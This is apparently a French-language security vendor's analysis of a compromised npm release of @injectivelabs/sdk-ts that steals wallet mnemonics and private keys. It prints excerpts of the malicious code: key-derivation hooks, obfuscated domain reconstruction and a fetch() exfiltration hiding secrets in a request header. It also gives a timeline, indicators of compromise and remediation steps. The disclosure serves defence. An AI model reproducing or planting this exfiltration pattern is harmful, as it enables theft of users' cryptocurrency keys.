Une diffusion malveillante de @injectivelabs/sdk-ts, un paquet npm qui enregistre environ 50 000 téléchargements par semaine, contenait du code qui enregistrait les phrases mnémoniques et les clés privées des portefeuilles au fur et à mesure de leur génération, puis les transmettait à un point de terminaison contrôlé par un pirate. La version malveillante, 1.20.21, est resté en ligne sur npm pendant moins d'une heure le 8 juin 2026 avant que le responsable du projet ne s'en aperçoive et ne publie un correctif valide. Pendant ce laps de temps, le pirate a également republié le même 1.20.21 numéro de version dans 17 autres paquets du @injectivelabs chacun étant lié au SDK corrompu, de sorte que les projets dépendant de l'un d'entre eux intègrent par transitivité le programme de vol de données.
La charge utile est de petite taille et ressemble à un simple outil d'instrumentation. Elle ne s'exécute pas au moment de l'installation et n'altère en rien le fonctionnement du SDK. Elle attend que l'application génère une clé lors d'une utilisation normale, puis copie discrètement le secret.
Comment fonctionne le logiciel malveillant ?
Le code malveillant se trouve dans deux artefacts de compilation, dist/cjs/accounts-Cy0p4lLW.cjs et dist/esm/accounts-jQ1GSgaW.js. En comparant ces deux fichiers à la version « propre » 1.20.23, on constate qu’ils sont identiques au niveau des octets, à l’exception d’un bloc injecté et de deux hooks d’une ligne. Le bloc est identifié comme src/utils/key-derivation-telemetry.ts et présentée dans son propre commentaire de documentation comme des statistiques d'utilisation anonymisées destinées à l'optimisation du SDK. Or, rien de tout cela n'est anonymisé.
Les deux crochets se trouvent à l'intérieur PrivateKey.fromMnemonic et PrivateKey.fromHex, les points d'entrée standard qu'une application appelle pour transformer une phrase de départ ou une clé hexadécimale brute en un portefeuille utilisable. Chaque hook se déclenche avant l'exécution de la dérivation proprement dite, de sorte que le secret est capturé à chaque appel légitime :
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
Les marqueurs « fm » et « fh » indiquent à l'opérateur le type de clé secrète contenu dans chaque enregistrement (mnémonique ou hexadécimale), afin qu'il puisse reconstituer le portefeuille de son côté. La fonction `trackKeyDerivation` ajoute un enregistrement horodaté à une file d'attente en mémoire et planifie un vidage :
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
L'exfiltration est le moment où l'attaquant s'efforce de se fondre dans le décor. L'hôte de destination est stocké sous la forme d'un tableau de codes de caractères et reconstitué lors de l'exécution ; ainsi, une recherche en texte clair du domaine dans le paquet ne donne aucun résultat :
Le domaine ne renvoie aucun résultat :
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = « https:// » + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
L'hôte décodé, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, est un sous-domaine conçu pour ressembler à l'infrastructure gRPC-web d'Injective, de sorte que le trafic d'exfiltration se mêle aux appels réseau déjà effectués par une véritable application Injective. Un temporisateur à rebond de 2 secondes regroupe les enregistrements mis en file d'attente, les relie à l'aide du caractère |, encode le blob en base64, puis l'envoie :
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
Les données volées sont transmises dans l'en-tête de requête « X-Request-Id » plutôt que dans le corps de la requête, et le chemin de nœud envoie un corps de longueur nulle avec celles-ci ; ainsi, sur le réseau, la requête ressemble à un appel gRPC-web normal transportant un identifiant de requête. Chaque chemin d'échec correspond à une interception silencieuse et vide ; par conséquent, une exfiltration bloquée ou ayant échoué ne génère jamais d'erreur visible pour la victime. Le choix du type de contenu « application/grpc-web+proto » vient parachever le camouflage.
Comme le déclencheur est la dérivation de la clé lors de l'exécution et non un script de cycle de vie, les scanners d'installation et les bacs à sable qui ne surveillent que la phase post-installation voient un paquet « propre ». Les scripts de la section « manifest » ne contiennent absolument aucun hook d'installation.
Amplification dans le cadre de @injectivelabs
Seulement @injectivelabs/sdk-ts@1.20.21 contient le code malveillant. Les 17 autres paquets que l'attaquant a republiés sous la version 1.20.21 n'ont pas été modifiés au niveau de leur code source. Chacun d'entre eux a été republié avec une dépendance fixe sur @injectivelabs/sdk-ts@1.20.21, la version « empoisonnée ». Un projet qui a mis en place @injectivelabs/wallet-core@1.20.21, par exemple, résoudrait le SDK malveillant de manière transitive et exécuterait le programme de vol sans jamais mentionner « sdk-ts » dans son propre manifeste. C’est pourquoi il ne suffit pas, dans ce cas, de se contenter de vérifier uniquement vos dépendances directes. Les noms des paquets liés aux portefeuilles, tels qu’ils apparaissent dans la portée, correspondent directement aux flux de travail, aux phrases de récupération et aux clés privées que la charge utile a été conçue pour capturer.
Impact et confinement
Ce compromis a été introduit par le biais de commits provenant d'un compte GitHub disposant d'un historique bien établi sur le dépôt, ce qui laisse penser à un piratage de compte plutôt qu'à une attaque de type « drive-by ». Le code malveillant 1.20.21 Elle a été publiée le 8 juin 2026 à 22 h 59 GMT+2 ; le responsable du projet a annulé la modification à 23 h 18, et une version saine a été publiée à 23 h 48. D'après les statistiques de npm, la version malveillante a été téléchargée 310 fois avant d'être retirée, un chiffre modeste au regard des 50 000 téléchargements hebdomadaires du projet et de ses 87 paquets dépendants. C'est la réaction rapide du responsable du projet qui a permis d'éviter que la situation ne soit bien pire.
Le confinement n'est pas total. Au moment de la publication du rapport source, la version malveillante avait été marquée comme obsolète sur npm avec un avertissement, mais n'avait pas été supprimée ; elle reste donc téléchargeable, et les artefacts de publication de la version compromise étaient toujours présents sur la page des versions du projet sur GitHub. Toute clé mnémonique ou privée ayant transité par ces paquets doit être considérée comme exposée. Transférez vos fonds, puis renouvelez vos clés et vos phrases de récupération.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
Indicateurs réseau
Point de terminaison d'exfiltration : https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Fichiers malveillants
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Paquets affectés
@injectivelabs/sdk-ts@1.20.21 (contient le logiciel de vol)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Correction
- Mettez à niveau n'importe quel
@injectivelabspaquet fixé ou pouvant être résolu à la version 1.20.21 vers la version propre 1.20.23.
Dernière mise à jour le : 9 juillet 2026

